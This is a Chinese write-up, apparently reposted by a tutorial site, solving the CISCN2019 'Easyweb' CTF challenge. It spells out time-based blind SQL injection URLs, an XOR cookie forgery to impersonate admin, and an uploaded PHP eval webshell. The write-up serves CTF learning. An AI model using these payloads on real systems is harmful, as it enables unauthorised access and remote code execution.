PHP   发布时间:2022-04-04  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

这道题目是总决赛秦学长出的题(感谢大佬带见世面),写完 wp 很久了,但是因为比赛时 web 都提供了源码,出题时并不知道这个规则,导致解法并不是学长设计题目时的预期解。今天又翻到去年夏天的这篇笔记,就贴出来纪念一下吧(成都火锅真好吃)

 

登录界面如下,发现登录不进去,每点一次login小图片会刷新一次

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

查看源代码

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

图片是通过image.PHP显示登录信息会提交到user.PHP

 

扫描目录:发现robots.txt,看到提示有备份文件

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

 

下载image.PHP.bak源码:

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

构造:

http://94.191.19.91/image.PHP?id=\0&path=or sleep(3)-- -

解释如下

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

页面延时3秒,通过注入伪造下载地址,可以下载整站源码

http://94.191.19.91/image.PHP?id=\0&path=union select 1,0x696d6167652e706870-- -

在user.PHP发现username存在users表中

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

获得账号长度4位:

http://94.191.19.91/image.PHP?id=\0&path=or if((select length(username) from users where id=1)=1,sleep(3),1=2)-- -

http://94.191.19.91/image.PHP?id=\0&path=or if((select length(username) from users where id=1)=2,sleep(3),1=2)-- -

http://94.191.19.91/image.PHP?id=\0&path=or if((select length(username) from users where id=1)=3,sleep(3),1=2)-- -

http://94.191.19.91/image.PHP?id=\0&path=or if((select length(username) from users where id=1)=4,sleep(3),1=2)-- -

(账号长度用大于小于判断可以缩短一些时间)

获得username为hyhs:

http://94.191.19.91/image.PHP?id=\0&path=or If((select ascii(substr(username,1,1)) from users)=104,sleep(3),1=2)-- -

http://94.191.19.91/image.PHP?id=\0&path=or If((select ascii(substr(username,2,1)) from users)=121,sleep(3),1=2)-- -

http://94.191.19.91/image.PHP?id=\0&path=or If((select ascii(substr(username,3,1)) from users)=104,sleep(3),1=2)-- -

http://94.191.19.91/image.PHP?id=\0&path=or If((select ascii(substr(username,4,1)) from users)=115,sleep(3),1=2)-- -

ascii码二分法尝试,或者用intruder爆破,例如下图爆破第4个字符没有115,那么第4个字符就是115对应的s

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

同理获得password为hongyanhuoshui

用得到的username和password登录

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

查看upload.PHP源码,只要当前用户为admin,即可进行文件上传

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

查看function.PHP源码:

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

username的cookie经过base64解密后再和secret异或得到username,所以已知username为hyhs和cookie再进行一次逐位异或可以得到secret的前4位

 

查看user.PHP的cookie,base64解密:

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

根据加密算法写脚本得到secret前4位:

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

('\x十六进制'就代表这个字符)

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

admin一共五个字符,已经得到前四位密钥了,一个字母是一个字节,八个比特位,2^8=256,只要爆破至多256次就能得出管理员的cookie

用户名前四位admi和密钥前四位!*(f进行异或运算得到@NE\x0f

 

一个脚本列出admin与密钥异或所有可能情况:

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

抓user.PHP包,发送到intruder,爆破cookie值:

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

加载脚本生成的字典a.txt,选择base64加密,爆破得到管理员cookie

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

修改cookie值为QE5FDx4=,刷新,伪造出admin用户登录

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

查看源码,发现提交表单时数据发送到upload.PHP

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

读upload.PHP源码,不能上传PHP文件,file_put_contents可以把字符串写到文件中去,这个字符串包含了文件

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

上传一个a.txt抓包:

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

把a.txt修改为<?=eval($_POST['abc'])?>,forward(文件名过滤了PHP,<?=?>这种写法一样的):

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

放包,访问logs/upload.log.PHP

eval(code) 的功能是将 code 组合成 PHP 指令,然后将指令执行

<?PHP $a="PHPinfo()"; eval("$a;");?>   #就相当于执行 PHPinfo(); 语句

 

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

file_get_contents()函数将整个文件读入一个字符串

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

 

 

[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)

 

大佬总结

以上是大佬教程为你收集整理的[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)全部内容,希望文章能够帮你解决[CISCN2019 总决赛 Day2 Web1]Easyweb(预期解)所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签: